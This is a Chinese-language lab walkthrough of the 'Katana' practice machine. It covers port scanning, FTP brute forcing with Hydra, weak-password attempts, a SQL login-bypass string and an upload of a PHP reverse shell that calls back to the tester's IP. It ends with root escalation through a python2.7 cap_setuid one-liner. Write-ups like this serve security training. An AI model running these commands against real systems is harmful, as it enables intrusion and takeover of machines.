getwebshell → 目录扫描发现上传点 → 上传后通过细微区别找到上传路径 → 上传反弹shell
→ getwebshell
提 权 思 路 → Capabilities
搜索 → python-Capabilities
提权
192.168.45.216
192.168.205.83
sudo nmap --min-rate 10000 -p- 192.168.205.83
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
80/tcp open http
7080/tcp open empowerid
8088/tcp open radan-http
8715/tcp open unknown
开放的端口-→21,22,80,7080,8088,8715
有点多≧ ﹏ ≦
# tcp探测
sudo nmap -sT -sV -O -sC -p21,22,80,7080,8088,8715 192.168.205.83
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
80/tcp open http Apache httpd 2.4.38 ((Debian))
7080/tcp open ssl/empowerid LiteSpeed
8088/tcp open http LiteSpeed httpd
8715/tcp open http nginx 1.14.2
通过Nmap
探测获得FTP的版本信息,可以大致推测FTP的配置文件位置
探测版本为vsftpd 3.0.3
# 通常配置文件所在位置
/etc/vsftpd.conf
尝试匿名账号anonymous
以及无密码进行登录测试
# 利用ftp协议+ip进行连接测试
ftp 192.168.205.83
Name: anonymous
该服务没有开启匿名免密
登录的功能
在利用ftp匿名登录的时候可能会出现无法登录的情况,这时候就需要尝试暴力破解
在这里指定常见的默认用户root
admin
anonymous
echo "root
admin
anonymous" → 1.txt
# -L 指定账号字典 -P指定密码字典
hydra -L 1.txt -P /usr/share/wordlists/metasploit/unix_passwords.txt -t 6 -vV 192.168.205.83 ftp -s 21
尝试进行ftp
的爆破实践
通过Nmap
探测获得SSH的版本信息,可以尝试利用
探测版本为OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
# 搜索对应脚本,发现没有
msf6 → searchsploit openssh 7.9
通过Nmap
探测获得SSH的版本信息,在获取到某个用户名之后尝试
sudo ssh root @192.168.205.83 -v
显示publickey
、password
就是支持密钥以及密码登录
显示keyboard-interactive
就是支持交互式回答密码登录
因为支持密码登录,尝试root
账户的密码弱密码尝试
ssh root @192.168.205.83 -p 22
# 密码尝试
password → root
提示权限被拒绝
弱密码尝试失败
访问 http://192.168.205.83:80
不是CMS
我们直接从HTML
隐藏信息收集开始
里面是一张图片,极具个人特点,可能存在图片隐写术(待定)
# 包括文章中是否写明一些敏感信息
curl http://192.168.205.83:80
没什么隐藏信息,可能Katana
是用户名
dirsearch -u http://192.168.205.83:80 -x 302,403
# -t 指定线程 -x 添加后缀扩展名 -k 禁用ssl
gobuster dir -u http://192.168.205.83:80 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 100 -k
通过大字典发现了/Ebook/
端点
端口信息是7080/tcp open empowerid
通过查阅得到以下信息
端口7080是用于EmpowerID身份和访问管理解决方案的TCP端口。EmpowerID是一种身份和访问管理平台,用于管理用户身份、权限和访问控制。
访问http://192.168.205.83:7080
提示需要证书无法访问
端口信息是8088/tcp open radan-http
通过查阅得到以下信息
端口8088是用于Radan HTTP的TCP端口。Radan是一种CAD/CAM软件,用于扁平和三维金属加工和制造。
访问http://192.168.205.83:8088
与80端口类似
8715 http nginx 1.14.2
访问发现像一个代理服务器存在登录窗口
尝试了一下脆弱口令admin
admin
进去了,存在弱口令,从名称上看是nginx
的转发端口
三个端口没什么思路的情况都扫扫
dirsearch -u http://192.168.205.83:8715 -x 302,403
dirsearch -u http://192.168.205.83:8088 -x 302,403
dirsearch -u http://192.168.205.83:7080 -x 302,403
从总体来看首先去收集端点信息
访问 http://192.168.205.83/ebook/index.php
发现是一个CMS
┌──(root㉿Kali)-[/home/bachang/Katana]
└─# whatweb http://192.168.205.83/ebook/index.php
http://192.168.205.83/ebook/index.php [200 OK] Apache[2.4.38], Bootstrap, Cookies[PHPSESSID], Country[RESERVED][ZZ], HTML5, HTTPServer[Debian Linux][Apache/2.4.38 (Debian)], IP[192.168.205.83], JQuery[2.1.4], Script[text/javascript], Title[Index], X-UA-Compatible[IE=edge]
该端点的CMS
是CSE Bookstore
之前遇到过同类型的站点,使用msf进行搜索
searchsploit CSE Bookstore
cat /usr/share/exploitdb/exploits/php/webapps/48960.txt
可以得到的信息是默认用户admin
密码利用sql
万能密码绕%' or '1'='1
同类型的站点我们遇到过,尝试文件上传
# 根据脚本语言制作一个测试的php
┌──(root㉿Kali)-[/home/bachang/Katana]
└─# echo "echo '1111'" → 1.php
收集Apress
添加新的book
http://192.168.205.83/ebook/bootstrap/img/1.php
直接失败,原地罚站
访问 http://192.168.205.83:8088/upload.html
发现了一个文件上传点
探索尝试,8088端口没有捏
仔细研究发现了突破口Moved to other web server
Please wait for 1 minute!. Please relax!.
File : file1
Name : 1.txt
Type : text/plain
Path : /tmp/phpCp60j6
Size : 21
Please wait for 1 minute!. Please relax!.
Moved to other web server: /tmp/phpCp60j6 ====→ /opt/manager/html/katana_1.txt
MD5 : d55ef8642f4906ca13bcd6ed4f080aca
Size : 21 bytes
File : file2
Name : 1.php
Type : application/x-php
Path : /tmp/php4egTpo
Size : 12
Please wait for 1 minute!. Please relax!.
Moved to other web server: /tmp/php4egTpo ====→ /opt/manager/html/katana_1.php
MD5 : 86497caacf187bcf6a6c552f09ab23c0
尝试去其他端口访问,最终在8715端口发现 ( •̀ ω •́ )y
# 利用cp命令cp一个到当前文件夹并且命名为shell.php
sudo cp /usr/share/webshells/php/php-reverse-shell.php ./shell.php
# 开启监听
sudo nc -lvnp 5555
反弹shell配置
# 利用grep确定修改反弹shell_ip的第49行
grep -n "127.0.0.1" shell.php
→ 49:$ip = '127.0.0.1'; // CHANGE THIS
# 同理监听端口是第50行
grep -n "1234" shell.php
50:$port = 1234; // CHANGE THIS
# 利用sed命令替换里面的内容
sed -i '49s/127.0.0.1/192.168.45.216/' shell.php
sed -i '50s/1234/5555/' shell.php
# 利用sed查看49与50行是否修改成功
sed -n '49,50p' shell.php
# curl成功反弹
curl http://192.168.205.83:8715/katana_shell.php
由于获取的shell交互不友好,利用python获得新的交互shell
python -c "import pty;pty.spawn('/bin/bash')";
www-data @katana:/$ find / -name local.txt 2→/dev/null
/var/www/local.txt
www-data @katana:/$ cat /var/www/local.txt
36eab81cb9a6f3e953a91a079864ddd1
提权的本质在于枚举
,在获取shell之后我们要进行内网信息的收集,都是为了提权
做准备
较老的Ubuntu
以及Linux系统可以overlayfs
提权
# 确定发行版本
www-data @katana:/$ lsb_release -a
No LSB modules are available.
Distributor ID: Debian
Description: Debian GNU/Linux 10 (buster)
Release: 10
Codename: buster
发行版本为Debian
,不太能overlayfs
提权
较低的内核版本可以进行脏牛
提权
www-data @katana:/$ uname -a
Linux katana 4.19.0-9-amd64 #1 SMP Debian 4.19.118-2 (2020-04-29) x86_64 GNU/Linux
内核版本为4.19.0
www-data @katana:/$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
查找具有sudo
权限,且不需要密码的可提权文件
如果发现sudo -l
有东西的话 访问 https://gtfobins.github.io
寻找
# 利用sudo -l寻找
sudo -l
发现需要密码
如果发现u=s
有东西的话 访问 https://gtfobins.github.io
寻找
# -perm 文件权限
www-data @katana:/$ find / -perm -u=s -type f 2→/dev/null
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/bin/gpasswd
/usr/bin/sudo
/usr/bin/umount
/usr/bin/mount
/usr/bin/su
/usr/bin/newgrp
/usr/bin/chfn
/usr/bin/passwd
/usr/bin/chsh
/usr/bin/fusermount
如果/etc/passwd
具有写入权限可以尝试覆盖密码提权
www-data @katana:/$ ls -al /etc/passwd
ls -al /etc/passwd
-rw-r--r-- 1 root root 1726 Jul 3 2020 /etc/passwd
/etc/shadow
具有写入权限可以尝试覆盖密码提权/etc/shadow
具有可读权限可以爆破密码www-data @katana:/$ ls -al /etc/shadow
ls -al /etc/shadow
-rw-r----- 1 root shadow 1013 May 11 2020 /etc/shadow
高版本下suid
列举不全,查看getcap
# 探查有CAP_SETUID标志的进程
www-data @katana:/$ /usr/sbin/getcap -r / 2→/dev/null
/usr/bin/ping = cap_net_raw+ep
/usr/bin/python2.7 = cap_setuid+ep
发现了python
依旧会心一笑
如果发现有东西的话 访问 https://gtfobins.github.io 寻找
www-data @katana:/$ python2.7 -c 'import os; os.setuid(0); os.system("/bin/sh")'
# id
uid=0(root) gid=33(www-data) groups=33(www-data)
提权成功
# cat /root/proof.txt
377f9b72e895cca72a3459be32667b89
完结撒花~
开始看到见过的CMS
激动了一下,结果上传点无效有点懵
在寻找后面的上传点时需要细致一些,多注意关键内容